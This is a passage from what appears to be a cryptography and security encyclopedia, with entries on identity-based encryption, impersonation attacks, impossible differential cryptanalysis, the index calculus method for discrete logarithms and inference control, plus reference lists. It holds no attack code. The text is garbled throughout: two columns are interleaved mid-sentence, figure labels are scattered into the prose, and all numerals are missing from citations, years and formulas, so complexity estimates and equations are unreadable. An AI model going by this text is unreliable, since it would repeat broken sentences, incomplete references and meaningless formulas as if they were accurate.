in cryptology Crypto . Lecture notes in computer science,
was to eliminate the need for directories and certificates by
. Ong H, Schnorr CP () Fast signature generation with a using the identity of the receiver as the public key. While
fiat shamir-like scheme. In: Advances in cryptology Euro- solutions for the related problem of identity-based signa-
crypt . Lecture notes in computer science, vol . Springer, ture were quickly found, identity-based encryption proved
Heidelberg, pp much more challenging.
. Paterson KG () ID-based signatures from pairings on ellip-
The first usable and provably secure IBE scheme was
tic curves. Available at http://eprint.iacr.org///
. Paterson KG, Schuldt J () Efficient Identity-based signa- proposed in by Boneh and Franklin using bilinear
tures secure in the standard model. In: th Australasian confer- pairings in elliptic curve groups []. In the same year,
ence on information security and privacy (ACISP ). Lecture Cocks built an IBE scheme based on the quadratic resid-
notes in computer science, vol . Springer, Heidelberg, uosity problem [], but that scheme was very inefficient. A
pp ,
more efficient provably secure scheme based on the same
. Pointcheval D, Stern J () Security proofs for signature
schemes. In: Advances in cryptology Eurocrypt . Lec- problem was later presented by Boneh, Gentry, and Ham-
ture notes in computer science, vol . Springer, Heidelberg, burg []. Recently, Gentry, Peikert, and Vaikuntanathan
pp showed that IBE schemes could also be constructed using
. Pointcheval D, Stern J () Security arguments for digital new hard problems in lattices [].
signatures and blind signatures. J Cryptol ():
. Sakai R, Ohgishi K, Kasahara M () Cryptosystems based
on pairing. In: The symposium on cryptography and
Theory
information security, Okinawa, Japan In traditional public key encryption, public keys tend to
. Schnorr CP () Efficient identification and signatures for look fairly random, and are not easily associated with a
smart cards. In: Advances in cryptology Crypto . Lec- user. For example, when one wants to send his credit card
number to make a purchase on a Web site, he wants to be
pp
. Shamir A () Identity based cryptosystems and signature
sure that he is really encrypting the message using the pub-
schemes. In: Advances in cryptology Crypto . Lecture notes lic key of the Web site, and not that of a hacker posing as the
in computer science, vol . Springer, Heidelberg Web site. For that reason, it is necessary to have a trusted
Identity-Based Encryption I
authority who can issue certificate that confirms which PKG

public key belongs to which user and prevents imper-
ID1 ID2 ID3
sonation. With an identity-based encryption scheme, one
could simply encrypt the message using the URL of the user 1 user 2 user 3
Web site as the public key.
An identity-based encryption scheme consists of four
randomized algorithms: Setup, Extract, Encrypt, and
Decrypt. PKG
dID dID dID

Setup: Takes as input a security parameter and outputs the 1 2 3
system parameters and master-key. The system param- user 1 user 2 user 3
eters must include the description of the message space
M and the ciphertext space C. The system parameters Identity-Based Encryption. Fig. Private key request in an IBE
will be publicly known while the master-key is known scheme
only to the private key generator.
Extract: Takes as input the system parameters, the master- root PKG
key, and an arbitrary string ID and outputs the private
mkID1 mkID1
key dID corresponding to the public key ID.
Encrypt: Takes as input the system parameters, a public key ID1 ID1
ID, and a plaintext M M and outputs a correspond- mkID1, ID2 mkID1, ID2 I
ing ciphertext.
ID1, ID2 ID1, ID2
Decrypt: Takes as input the system parameters, a private
key dID , and a ciphertext C C and outputs the mkID1, ID2, ID3 mkID1, ID2, ID3
corresponding plaintext. ID1, ID2, ID3 ID1, ID2, ID3
The algorithms Setup is run by a trusted party, the pri-
vate key generator (PKG). The PKG also runs the algorithm Identity-Based Encryption. Fig. Hierarchy of public keys in
Extract at the request of a user who wishes to obtain the an HIBE
private key corresponding to some string (see Fig. ). Note
that the user needs to prove to the PKG that he is the
legitimate owner of this string (for example, to obtain are also useful in environments in which a natural hier-
the private key corresponding to bob@yahoo.com, the archy is present (for example, a head of a company com-
user must prove that bob@yahoo.com is truly his email putes keys for managers, who in turn compute keys for
address), and the private key must be returned to the user employees).
on a secure channel in order to keep the private key secret.
The algorithms Encrypt and Decrypt are run by the users to
Applications
encrypt and decrypt messages. They must satisfy the stan-
As mentioned before, identity-based encryption was orig-
dard consistency constraints, namely, if all the algorithms
inally designed to simplify public key infrastructure.
are applied correctly, then any message in the plaintext
It is, however, a very versatile tool that can be used
space encrypted with the algorithm Encrypt should be
for a multitude of other applications. Here are a few
correctly decrypted by the algorithm Decrypt when using
examples.
the appropriate private key.
Some identity-based encryption schemes can support Ephemeral public keys: An identity-based encryption
an hierarchy of public keys []. In those hierarchical scheme can be used to make public keys expire by
identity-based encryption (HIBE) schemes, public keys using the public key receiver-address current-date,
are vectors of bit strings and the private corresponding to where current-date can be the day, week, month, or
public key ID , . . . , IDn can be used as a master key to year depending on the frequency at which the users are
produce private keys corresponding to public keys of the required to renew their key. This way, a users decryp-
form ID , . . . , IDn , IDn+ (see Fig. ). These hierarchical tion capability can be revoked simply by letting his key
identity-based encryption schemes allow a root PKG to expire and not issuing a new one.
distribute the workload of producing private keys and ver- Managing user credentials: By encrypting the messages
ifying identities by delegating to lower-level PKGs. They using the address receiver-address current-date
I Impersonation Attack
clearance-level, the receiver will be able to decrypt the EUROCRYPT . Lecture notes in computer science, vol .
message only if he has the required clearance. Springer-Verlag, Berlin, pp
. Gentry C, Peikert C, Vaikuntanathan V () Trapdoors for
Chosen-ciphertext security: Public key encryption schemes
hard lattices and new cryptographic constructions. In: Pro-
secure against adaptive chosen ciphertext attack can ceedings of the th annual ACM symposium on theory of
be devised from identity-based encryption schemes computing STOC , Victoria, BC. ACM, New York,
secure against chosen plaintext attack []. This method pp
is in fact frequently used to construct depth d . Gentry C, Silverberg A () Hierarchical ID-based cryptog-
raphy. In: Zheng Y (ed) Advances in cryptology ASIACRYPT
hierarchical identity-based encryption schemes secure
. Lecture notes in computer science, vol . Springer-
against chosen ciphertext attack from depth d + Verlag, Berlin, pp
hierarchical identity-based encryption schemes secure . Shamir A () Identity-based cryptosystems and signature
against plaintext attack. schemes. In: Blakley GR, Chaum D (eds) Advances in cryptol-
ogy CRYPTO . Lecture notes in computer science, vol .
Open Problems . Waters B () Efficient identity-based encryption without
The most active area of research in identity-based random oracles. In: Cramer R (ed) Advances in cryptology
EUROCRYPT . Lecture notes in computer science, vol .
encryption is the construction of efficient identity-based
Springer-Verlag, Berlin, pp
encryption schemes based on lattice problems. These
schemes could offer a lower asymptotic computational
complexity than the schemes based on pairings or
quadratic residues, and could potentially resist attacks
from quantum computers, but the most efficient schemes Impersonation Attack
known today remain slower than the best pairing-based
scheme. A lattice-based scheme whose efficiency rivals Carlisle Adams
that of pairing-based schemes would be a significant School of Information Technology and Engineering
breakthrough. (SITE), University of Ottawa, Ottawa, Ontario, Canada
On a more theoretical point of view, all the current
identity-based encryption schemes are either inefficiently
reduced to a well-known complexity assumption [], Related Concepts
or based on slightly exotic problems []. It would Entity Authentication; Identification
be interesting to see if one could construct an effi-
cient identity-based encryption scheme whose security
can be tightly reduced to a well-known complexity Denition
assumption. An impersonation attack is an attack in which an adversary
successfully assumes the identity of one of the legitimate
parties in a system or in a communications protocol.
Recommended Reading
The goal of a strong identification or entity authen-
. Boneh D, Canetti R, Halevi S, Katz J () Chosen-ciphertext
security from Identity-based encryption. SIAM J Comput
tication protocol is to make negligible the probability
(): that for a given party A, any party C distinct from A,
. Boneh D, Franklin M () Identity based encryption scheme carrying out the protocol and playing the role of A,
from the weil pairing. In: Kilian J (ed) Advances in cryptol- can cause another party B to complete and accept As
ogy CRYPTO . Lecture notes in computer science, vol .
identity [].
Springer-Verlag, Berlin, pp
. Boneh D, Gentry C, Hamburg M () Space-efficient iden-
tity based encryption without pairings. In: Proceedings of the Recommended Reading
th annual IEEE symposium on foundations of computer sci- . Menezes A, van Oorschot P, Vanstone S () Handbook of
ence FOCS , Providence, RI. IEEE Computer Society, Los applied cryptography. CRC, Boca Raton, FL
Alamitos, CA, pp
. Cocks C () An identity based encryption scheme based on
quadratic residues. In: Proceedings of the th IMA international
conference on cryptography and coding, Cirencester, UK. Lec-
ture notes in computer science, vol . Springer-Verlag, Berlin,
pp
Implicit Key Authentication
. Gentry C () Practical identity-based encryption without
random oracles. In: Vaudenay S (ed) Advances in cryptology Key Authentication
Index Calculus Method I
many chosen texts should be requested in order to distin-

Impossible Dierential Attack guish E() from a random permutation? In general, about
nq pairs with differences from P are required. This num-
Alex Biryukov ber can be reduced by using structures (a standard tech-
FDEF, Campus Limpertsberg, University of Luxembourg, nique for saving chosen plaintexts in differential attacks).
Luxembourg In the optimal case, one may use structures of p texts
which contain about p pairs with differences from P. In
this case nq /p structures are required, and the num-
Related Concepts ber of chosen texts used by this distinguishing attack is
Block Ciphers; Differential Cryptanalysis about npq+ (assuming that p < n q + ). Thus the
higher p + q is, the better is the distinguisher based on the
Denition impossible event.
Impossible differential attack is a chosen plaintext attack Impossible differential attack has become a popular
and is an extension of differential cryptanalysis. tool of cryptanalysis and has been used recently for the
analysis of many ciphers and hash functions (Camelia,
Background Aria, Safer, Clefia, Misty, and various versions of AES).
Impossible differential attack [] was defined in and
has been shown to break out of rounds of the cipher Recommended Reading
Skipjack [], designed by the NSA and declassified in
. Independently, an attack based on similar princi-
. Biham E, Biryukov A, Shamir A () Cryptanalysis of Skipjack
reduced to rounds using impossible differentials. In: Stern J
I
ples was used by Knudsen in to cryptanalyse six (ed) Advances in cryptology eurocrypt. Lecture notes in
rounds of the cipher DEAL [] which was one of his pro- computer science, vol . Springer, Berlin, pp
. Biham E, Biryukov A, Shamir A () Miss in the middle
posals for the AES (Rijndael/AES). The attack, using
attacks on IDEA and Khufu. In: Knudsen LR (ed) Fast software
impossible differentials, was shown to be a generic tool encryption, FSE. Lecture notes in computer science, vol .
for cryptanalysis [] and was applied to improve on the Springer, Berlin, pp
best known attacks for such strong and long standing . Knudsen LR () DEAL a -bit block cipher. Technical
block ciphers as IDEA and Khufu [], breaking round- report , Department of informatics, University of Bergen,
Norway
reduced versions of these ciphers. The two main ideas were
. Merkle RC () Fast software encryption functions. In: Menezes
the miss-in-the-middle technique for construction of A, Vanstone SA (eds) Advances in cryptology crypto. Lecture
impossible events inside ciphers and the sieving technique notes in computer science, vol . Springer, Berlin, pp
for filtering wrong key-guesses. . NIST () Skipjack and KEA algorithm specification. Tech-
nical report, http://csrc.nist.gov/CryptoToolkit/skipjack/
skipjack-kea.htm. version .
Theory
Once the existence of impossible events in a cipher is
proven, it can be used directly as a distinguisher from a
random permutation (Substitutions and Permutations).
Furthermore one can find the keys of a cipher by analyzing Index Calculus Method
the rounds surrounding the impossible event, and guess-
ing the subkeys of these rounds. All the keys that lead to Kim Nguyen
a contradiction are obviously wrong. The impossible event Bundesdruckerei GmbH, Berlin, Germany
in this case plays the role of a sieve, methodically reject-
ing the wrong key guesses and leaving the correct key. It is
important to note that the miss-in-the-middle technique Related Concepts
is only one of the ways to construct impossible events and Discrete Logarithm Problem; Factor Base; Function
that the sieving technique is only one of the possible ways Field Sieve; Number Field Sieve for the DLP; Smoothness
to exploit them.
In order to get a feel of the attack, consider a cipher Denition
E() with n-bit blocks, a set of input differences P of car- Index calculus originally refersto a method for computing
dinality p and a corresponding set of output differences discrete logarithms in a finite field in subexponential
Q of cardinality q . Suppose that no difference from P time complexity (Discrete Logarithm Problem). The
can cause an output difference from Q. One may ask how basic ideas appeared first in the work of Western and
I Index Calculus Method
Miller []. The original algorithm was invented inde- Given any element h G, we then search for an element
pendently by Adleman [], Merkle [], and Pollard [] g y such that (hg y ) has the form
according to Odlyzko []. The first partial analysis of the
complexity of the algorithm is due to Adleman []. (hg y ) = pnp,y .
pS
Theory logg (h) can than be computed by

Consider a finite field k with multiplicative group G gen-
erated by g. The main and trivial observation on which logg (h) y + np,y logg ((p)) mod G.
pS
index calculus relies is that once the discrete logarithms
logg (gi ) are known, then the discrete logarithm for an
element defined by i gini is given by the sum Applications
Implementation Choice and Complexity
ni logg (gi ) mod G. Estimate
i The most obvious choices for the ring R are:
Given the element h of G, index calculus computes the . The natural numbers N in the case of prime fields
discrete logarithm logg (h) in two main steps: G = Fp .
. The ring Fp [x] of polynomials over Fp in the case of
. In a precomputation step, logg (gi ) for sufficiently extension fields G = Fpn (Extension field).
many elements gi of G is computed.
. Find an element g y such that hg y has the form hg y = For the set S we choose smooth prime elements of the
n
i gi i . Then by the above remark the discrete loga- ring R (smoothness):
rithm logg (h) can be computed easily. . The prime numbers less than or equal to a smoothness
The way the discrete logarithms in step are obtained is as bound B:
follows: S = {p N prime p B}
Assume we have a surjective map : R G from a
ring R, in which we have unique factorization in prime in the case of prime fields.
elements, to G. In the case that the surjection can be effi- . The irreducible polynomials of norm less than or
ciently inverted, we can lift elements from G to R. Assume equal to a smoothness bound B:
we have a factorization deg(f )
S = {f Fp [x] irreducible p B}
x np,x
(g ) = p ,
pS
in the case of extension fields.
Using results on the distribution of smooth elements one
where S, the factor base, denotes a subset of the set P of sees that using a smoothness bound B = Lpn (/, /),
prime elements of R. This implies, via application of , that the first step of collecting relations by computing random
the equality g x = pS (p)np,x in G holds. Hence taking
powers g x takes expected time Lpn (/, ) (L-notation
discrete logarithms to the base g we obtain for a definition of the preceding notation). In the case
of prime fields, we have n = in this and all subse-
x = np,x logg ((p)) mod G. quent expressions. Here one has to be careful to also take
pS
into account the time needed for the smoothness test of
the lifted elements (g x ). However, using the Elliptic
In order to recover the values logg ((p)) for p S it is now
Curve Method for factoring in the prime field case one has
sufficient to run through two steps:
an expected running time of Lp (/, ) for factorization
In the first step (often referred to as sieving step), we (in the worst case), while in the case of extension fields,
collect more than S distinct relations; these then form for a polynomial f over Fp of degree n factorization using
an overdefined system of linear equations modulo the the Berlekamp algorithm has complexity O(n + tpn ),
order of the group G. where t denotes the number of irreducible factors of the
Solve the resulting system of linear equations modG polynomial f .
using linear algebra and obtain the values logg ((p)) For the linear algebra part, one notes that the result-
for p S. ing system of around Lpn (/, /) linear equations is
Index Calculus Method I
sparse, hence special methods can be applied for the solu- This is due to the fact that the Number Field Sieve
tion of this
system which have expected running time approach uses two different maps : one is the natural pro-
Lpn (/, ). jection : N Fp , while the second one is a certain
Finally, for the last step of finding a smooth lift ofthe projection from the ring of algebraic integers R to Fp .
form (g x ) the running time estimation of Lpn (/, ) In the sieving stage, pairs of smooth elements s , s
of the first step applies as well, resulting
in an overall are collected which have the additional property that the
expected running time of Lpn (/, ) for the complete equality (s ) = (s ) holds. Again we are led to a sys-
index calculus algorithm. tem of linear equations, and solving this system will lead
to the construction of a qth power in Fp and will thus
Variants of the Algorithm yield the solution of the discrete logarithm problem. Schi-
By replacing N or Fp [x] with different rings also allowing rokauer presented an algorithm based on this approach
unique factorization one obtains variants of the classical that has complexity Lp (/, (/)/ ) (see []).
index calculus algorithm. Details regarding the application of the Number Field
One of the most important variants in the case of prime Sieve in this setting can be found in [] and []. See also
fields uses the ring of Gaussian integers Z[i] of the imagi- the entry on the Discrete Logarithm Problem for more
nary quadratic field Q(i) and is therefore called the Gaus- details on recent challenges and attacks.
sian integer method (refer to [] for more details). It has Significant advances could be achieved recently in the
expected running times Lp (/, ) for the precomputation special case of medium primes both for the function field
part of the algorithm and Lp (/, /) for the computation and the number field sieve. Refer to [], [] and the entry
I
of individual discrete logarithms. on the Function Field Sieve.
In the case of extension fields, Coppersmiths method
is of special importance. It is applicable only in the Index Calculus and Elliptic Curves
case of small characteristic and was the first method to The elliptic curve discrete logarithm problem (ECDLP)
compute discrete logarithms in subexponential complex- has attracted great interest since its introduction to cryp-
ity better than Ln (/, c); its expected running time is tography in . One of the most interesting features of
Ln (/, .) (see []). It was realized later that this this problem is that it has up till now resisted all attempts
method in fact is a special case of the function field sieve to apply index calculus techniques to it.
(Sieving in function fields). Consider the ECDLP on a curve over the finite field
Fpn . The most naive idea would be to take a surjection
Index Calculus Using the Number Field Sieve : K Fpn , choose an elliptic curve E over K reduc-
A different idea to solve the discrete logarithm problem in ing to E via , and thus obtain a map between elliptic
a finite field k = Fp is to find integers s and t such that the curves : E (K) E(Fpn ), the most obvious one being
equation g s ht = wq holds for some w k, where q is a : Q Fp in the case of prime fields. However, prop-
divisor of the order of the multiplicative group k . If t is erties of elliptic curves over global fields imply that there
coprime to q we have then computed logg (h) mod q since is no chance to lift sufficiently many points from E(Fp ) to
we have E(Q) with reasonably sized coefficients in order to be able

logg (h) st mod q. to apply index calculus techniques. The main ingredient
here is the existence of a quadratic form called canonical
Having computed logg (h) modulo the different primes height on the MordellWeil group (modulo torsion) of the
dividing the order of k we can then recover logg (h) using global elliptic curve.
the Chinese Remainder Theorem. A different approach (known as XEDNI calculus) sug-
We are thus led to the problem of constructing qth gested to first lift sufficiently many points from E(Fp ) to
powers in k, i.e., relations of the form g s ht = wq . Index Q and then fit a globally defined elliptic curve through
calculus techniques can be applied to this problem. If we these global points. However, this idea was proven to have
choose R to be the ring of integers of a more general, non- expected running time O(p), far worse than the square
trivial number field, we are led to techniques related to the root complexity of the exhaustive search approach.
Number Field Sieve for factoring. Recently significant advances with respect to index
Contrary to the techniques described above, the calculus methods on elliptic curves and curves of higher
approach using Number Field Sieve for DLP uses two fac- genus could be achieved. See especially [] that contains
tor bases: one consisting of small rational primes, the other a survey of the state of the art with respect to index cal-
consisting of algebraic primes of small norm. culus applied to the divisor class group of curves. Also,
I Indistinguishability of Encryptions
Diem ([]) and Gaudry ([]) independently came up

with an index calculus attack of subexponential complex- Inference Control
ity for elliptic curves defined over small degree extension
fields. More precisely, one considers the extension field Joachim Biskup
Fqn , then if one allows n to go to infinity, the complex- Fakultt fr Informatik, Technische Universitt
ity of their algorithm remains Dortmund, Dortmund, Germany
subexponential as long as
n is upper bounded by O( log(q)). Although this result
does not have any impact on cryptosystems being cur- Related Concepts
rently used in practice, it is a significant breakthrough as Access Control from an OS Security Perspective;
for the first time it was possible to establish an index calcu- Information Flow Control
lus attack on elliptic curves that at least asymptotically
has subexponential complexity. Denition
Inference control is a mechanism to confine the infor-
Recommended Reading mation content of data or behavior made accessible to or
. Wester AE, Miller JCP () Tables of indices and primitive being observable by a participant to whom some piece(s)
roots. Royal society mathematical tables, vol . CUP of information should be kept confidential.
. Adleman LM () A subexponential algorithm for the discrete
logarithm problem with applications to cryptography. In: Proc Background
th IEEE found comp sci symp, pp
. Merkle R () Discrete logarithms in Fp using the number field
Dorothy Denning gave a first authoritative introduction
sieve. SIAM J Discrete Math : to inference control in her seminal book on cryptography
. Pollard J () Monte Carlo methods for index computations and data security [], mainly focusing on inference (and
(mod p). Math Comp : information flow) problems related to programming
. Odlyzko A () Discrete logarithms in finite fields and their language constructs [, , , , , ] and statistical
cryptographic significance. In: Advances in cryptology: pro-
ceedings of EUROCRYPT , lecture notes in computer science
databases [, , , ]. Later on, inference control has
, Springer, pp been studied in a large variety of other fields, includ-
. Lamacchia BA, Odlyzko AM () Computation of discrete ing general query processing in information systems [,
logarithms in prime fields. Designs, Codes and Cryptography , , ], labeling in mandatory access control systems
: [, , , , ], noninterference properties for gen-
. Coppersmith D () Fast evaluation of discrete logarithms
in fields of characteristic two. IEEE Trans Inform Theory
eral computing systems [, , ], and information hiding
: in various contexts [, , ]. The survey by Farkas/
. Schirokauer O () Discrete logarithms and local units. Philos Jajodia [] provides a critical summary, and both the text-
Trans Roy Soc London Ser A : book by Bishop [] and the monograph by Biskup [] treat
. Gordon DM () Secrecy, authentication and public key sys- important aspects of inference control.
tems. Ph.D. Dissertation, Dept. of Electrical Engineering, Stan-
ford University
. Joux A, Lercier R () The function field sieve in the Theory
medium prime case. In: Proceedings EUROCRYPT , Aiming to preserve the confidentiality of some piece(s)
pp of information, the security mechanism of inference con-
. Joux A, Lercier R, Smart N, Vercauteren F () The number trol restricts the access to data or behavior or manipulates
field sieve in the medium prime case. In: Proceedings EURO-
data or behavior deliberately shown or just being visible
CRYPT , pp
. Diem C () On arithmetic and the discrete logarithm prob- to some participant, in order to confine that partici-
lem in class groups of curves. Habil Thesis, Leipzig pant in the usability of his observations employing rational
. () Index calculus for abeliam varieties of small dimension reasoning.
and the elliptic curve discrete logarithm problem. J Symbolic In principle, though in practice not always performed,
Comput
considering the goals of inference control should be an inte-
gral part of both granting privileges for an access control
system and of distributing keys for encryption, and thereby
enabling access to data and thus to the information rep-
Indistinguishability of resented by that data. Moreover, as far as a cryptographic
Encryptions mechanism, using a secret or private key, converts data such
that an unauthorized observer, without a knowledge of the
Semantic Security key employed, cannot gain information about the original
Inference Control I
data, cryptography can be seen as dealing with inference blocks a critical observation. In doing so, dynamic
control too. Like for cryptography, besides restricting the monitoring keeps track of the actual history of pre-
gain of information, for the sake of availability, infer- vious observations, whether explicitly enabled or only
ence control always has to ensure that the participants assumed to have taken place.
specified to acquire dedicated information are enabled
to simply extract or at least to infer that information. Before the computing system is started, static verifi-
In general, a (potentially threatening) participant cation makes a global analysis of all possible runs of
cannot be forced to ignore observations that actually the computing system and the corresponding potential
happened or to refrain from inferring implications. sequences of events observable by the controlled par-
Accordingly, inference control has to ensure that explic- ticipant, and inspects them as a whole and in advance
itly permitted, or inevitably accessible, observations are not concerning potential or actual harmful inferences. If
harmful even if the participant tries their best to act as a necessary, a planned computing system is modified in
rational and maybe even omnipotent observer. There such a way that all critical observations are blocked
are two basic approaches to achieving the goals of inference right from the beginning, without further monitoring
control, dynamic monitoring and static verification, which at runtime.
might also be suitably combined:
Rephrased briefly in terms of programming: inference
While the computing system is running, dynamic mon- control might supervise a running process and possibly
itoring inspects each relevant event as it occurs, case interferes with the execution, as visualized in Fig. , or
by case, concerning potential or actual harmful infer- might examine a program as a text and possibly modifies the I
ences, in each case before the event can actually be text, as visualized in Fig. . In addition to their particular
observed by the controlled participant, and if necessary components, both approaches have to use the applicable
Previous A priori Security

Semantics Program
observations knowledge policy
Observer
Dynamic
monitoring Executing
Permitted (case-by-case process
observations decisions)
Inference Control. Fig. Inference control by dynamic monitoring of a process
A priori Security (Original)

Semantics
knowledge policy program
Static verification
(Modified)
and modification
program
(Global decisions)
Observer
Executing
process
Permitted
observations
Inference Control. Fig. Inference control by static verication and modication of a program (text)
I Inference Control
semantics and the actual or assumed a priori knowledge of The observer has some a priori knowledge related to
the controlled participant. Furthermore, both approaches that meaning.
need a specification of the security requirements, i.e., The observer employs an applicable notion of impli-
a security policy that captures the pertinent notion of cation, and thus he can potentially reason about the
harmfulness. fictitious implicational closure of his a priori knowl-
Dynamic monitoring requires a high runtime effort, edge and the added meaning of the observation. Under
including keeping track of previous observations, but only a suitable formalization, the observer might use the
situations that actually occur must be handled. Static veri- standard logical implication. However, an observer
fication puts a heavy burden on an administrator at design also might prefer to exploit other approaches as well,
time, leaving nothing to do at run time, at the price that including those that deal with probabilities, vagueness,
all possible situations must be analyzed. Both approaches uncertainty, preferences, and related notions.
demand an algorithmic treatment of implication prob- The observer computationally infers selected or even
lems of the applicable kind that might turn out to be, in all implications, deploying the computational resources
general, computationally unsolvable and thus can only be available to him. However, the observer remains
approximated at best. Unfortunately, any correct approxi- inevitably restricted by the fundamental limitations
mation might result in more blockings than strictly needed. exhibited by computability theory and complexity
Dynamic monitoring is expected to enable more obser- theory.
vations than static inspection, but case-by-case decisions The observer treats the newly inferred implications
might slow down the system in an unacceptable way. as the information gained from his observation and
Dynamic monitoring then demands further approxima- the other features used, thereby getting a posteriori
tions, resulting in additional blockings. knowledge.
Regarding blockings, both basic approaches can employ
The underlying notion of knowledge allows the follow-
the following kinds of technique, which allow many varia-
ing complementary interpretations. An observers knowl-
tions and combinations:
edge determines those worlds that the observer sees
An observation evaluated to be harmful is made invis- as possible, but all of them remain indistinguishable to
ible, or an underlying event may even be totally sup- him. Complementarily expressed, the observers knowl-
pressed. In terms of programming, such a goal can be edge leaves the observer uncertain about which one of the
achieved by refusing to execute a crucial statement or to indistinguishable possible worlds is the actual real world
return a crucial output value, or by suitably modifying (which is thought of as basically hidden and as revealing
a program (considered as a text), respectively. some of its aspects by observable data or behavior).
An observation evaluated to be harmful is substituted The crucial distinction introduced above suggests a
by another one held to be harmless. further distinction. While an observed message m is seen
as a syntactic object (an uninterpreted bit string), the
A further distinction is whether the observer is noti- assigned meaning y is treated as a semantic object (some
fied of a blocking, either explicitly or implicitly by some interpreted item, such as a number). Then, the semantic
reasoning. Clearly, in some situations, recognizing a block- object and the current knowledge together might contain
ing might constitute harmful information too. Regarding some information about possibly other semantic objects x,
an explicitly notified refusal, we have to take care about the which are the real focus of a consideration.
observers options to determine the reason for the refusal, Any instantiation of the general perspective requires us
and on the basis of that to find out about the hidden data to select an appropriate and precise mathematical model,
or behavior. e.g., one of the following:
Inference control is based on the crucial distinction
between a participant just observing some data or behav- Algebra-oriented models link the (actual) gain of infor-
ior on the one hand, and gaining information on the other mation to (algorithmically) solving sets of equations.
hand. The difference might depend on various circum- Logic-oriented models provide means to formally
stances, about which the controller has to make sufficiently express sentences supposed to be true, or even to
appropriate postulates: formally denote the modalities of an agents knowl-
edge or belief about such sentences. These models link
The observer selects a framework for reasoning as the the (actual) gain of information to (algorithmically)
pertinent universe of discourse, and thereby assigns a inferring logical implications and thus to mechanical
meaning to the observation. theorem proving.
Inference Control I
D f R
Complete information gain
Partial information gain
Framework not applicable

Hidden Observed
semantic object semantic object
Inference Control. Fig. A framework of reasoning, exemplifying three cases regarding information gain
Probability-oriented models add the further aspect that Framework not applicable: the pre-image is empty (and
alternatives might be weighted by their likelihood. thus the interpreted observation does not fully fit the
Then, the (actual) gain of information is linked to framework).
(algorithmically) determining conditional a posteriori
The actual gain depends on the observers possibili-
probability distributions.
ties of actually computing the relevant items. Basically, this
To illustrate the use of such a model, a simple func- means that effective techniques and efficient algorithms
tional model can be mathematically described as follows to solve the equation considered are crucial for an actual
information gain.
and partially visualized by Fig. :
An important example for inference control in cryptog-
I
The framework for reasoning is given by a function raphy is given by a group (G, , e). The group properties
f : D R and an abstract assignment x f (x) of ensure the solvability of equations: every equation of the
function values to arguments, assumed to be known by form k x = y, where two of the items are given, has a
the observer a priori. unique solution for the third item. Observing the result
Seeing a syntactic object in the form of a bit string m, y G of an application of the group operation enables
the observer interprets m as a semantic object y R, a partial information gain about the arguments, since the
generated by a sender by applying the function f to pre-image of y contains exactly as many elements as G. Fix-
some semantic object x D that is the real focus of ing the first (or, similarly, the second) argument to some
the consideration. Accordingly, the data m is seen as parameter k G, and now supposing that an observer
possibly containing information about some (hidden) sees the result y G, two cases can be distinguished: If
semantic object x D such that f (x) = y. The observer the observer knows the pertinent parameter k, then he
aims at gaining this information, i.e., the observer tries can gain complete information about the remaining argu-
to invert the function f for the given range value y; ment; otherwise, the observer gains no information about
equivalently expressed, he attempts to find the set of the remaining argument (Fig. ).
solutions of the equation f (z) = y for the unknown On the basis of such structures, more advanced cryp-
variable z. tographic constructions aim at providing parameterized
functions that are injective and additionally have a prop-
The potential for gaining information depends on the erty called one-way with trapdoor. This property says
inversion properties of the range element y R considered, roughly that the values of the function can be efficiently
case by case. More specifically, given y R, the observer computed but the pre-images can not, except when the
might first aim at determining the pre-image {z f (z) = y}. observer knows the pertinent parameter that serves as the
There are then four cases (three of which are shown in trapdoor.
Fig. ): Another example is taken from the field of relational
databases. Supposing a database schema that is declared by
Complete (potential) information gain: the pre-image two relation schemes R(A, B) and S(B, C), where R and S
contains exactly one element x. denote relation symbols, and A, B, and C denote attributes
Partial (potential) information gain: the pre-image (column names), a query is syntactically given by a rela-
contains at least two (indistinguishable) elements but tional expression over the schema, and the semantics of a
does not comprise the full domain D. query is a function that maps database instances of the form
No information gain: the pre-image is equal to the full (r, s), where r and s are relations fitting the schema, onto
domain D. some output relation t.
I Inference Control
For this example, the natural join of the two rela- Sequential and parallel control structures: causing
tions is not injective in general, owing to dangling tuples implicit information flows
that do not find a matching tuple in the other relation. Real execution time: causing covert channels
Accordingly, seeing the output relation enables only a par- General database query answering: causing implica-
tial information gain about the (stored but kept hidden) tional information flows
instance. However, if the mutual inclusion dependencies Statistical query answering: causing disclosure of indi-
(referential constraints) for the join attribute B are declared vidual data
in the schema and later on are enforced as invariants Survey publishing: violating anonymity
under updates, then dangling tuples cannot occur, the Enforcing database integrity constraints: providing a
join becomes injective, and a complete information gain is priori knowledge
enabled. Data mining: learning of private data
More elaborated models might consider, e.g.: Assigning (mandatory) security labels: enabling to
infer higher classified data
An arbitrary relation over some domains (rather than
Composition of cryptographic primitives: compromis-
just a function) and the dependency of hidden values of
ing secret or private keys
one projection on accessible values of another projec-
tion; e.g., such a relation might express the semantics Finally, the topic of inference control is closely related
of a programming language in terms of relationships to studies on noninterference that capture the duality
between initial and final program states: then the between preventing information gain for the sake of confi-
task of information gain is basically to transform an dentiality and preventing causality for the sake of integrity.
(observed) postcondition into a weakest precondition.
Only specific properties of the semantic items rather Open Problems and Future Directions
than on their identity. First, there is an obvious challenge to find application-
The impact of observation sequences (rather than a dependent and acceptable compromises for resolving the
single observation). tradeoff between the highly ambitious goals of inference
Either complete or incomplete formalizations using control on the one hand and the affordable computational
some fragment of classical propositional logic or first- costs to algorithmically detect and restrict an unwanted
order logic; or even modal variants of them to capture gain of information on the other hand. Usually, such a
not only a (fictitious) real world but also an observers compromise has to exhibit appropriate approximations
knowledge or belief about reality, in particular by that potentially endanger the availability of information
employing Kripke structures to semantically describe crucially needed.
the possible worlds. Second, the effectiveness of a concrete instantiation of
Adding some kind of weights to possible values; e.g., inference control essentially depends on suitable postulates
seeing an item as a random variable, a weight taken about the a priori knowledge of the controlled participant
from the interval [..] can be interpreted as a probabil- and the computational resources that participant is able
ity; different interpretations could be given using, e.g., and willing to spend.
fuzzy logic. Third, and closely related to the preceding points,
to be both efficient and effective, in each particular sit-
Applications uation inference control should be based on a con-
Inference control is employed whenever a participant of vincing assumption about how a controlled partici-
a computing system should be prevented from gaining pant is forgetting information and when information is
specific information about hidden parts of the system aging and thus can be considered as becoming harmless
behavior from observing selected visible parts. There are (downgraded).
numerous examples of constructs of computing systems
for which their potential for (unwanted) information gain
Recommended Reading
have been considered, together with mechanisms to block
. Andrews GR, Reitman RP () An axiomatic approach to
actual exploitation in order to meet some confidential- information flow in programs. ACM Trans Program Lang Syst
ity requirements. The examples include, in particular, the ():
following situations: . Bishop M () Computer security: art and science. Addison-
Wesley, Boston
Expressions, assignments, and procedure calls: causing . Biskup J () Security in computing systems, challenges,
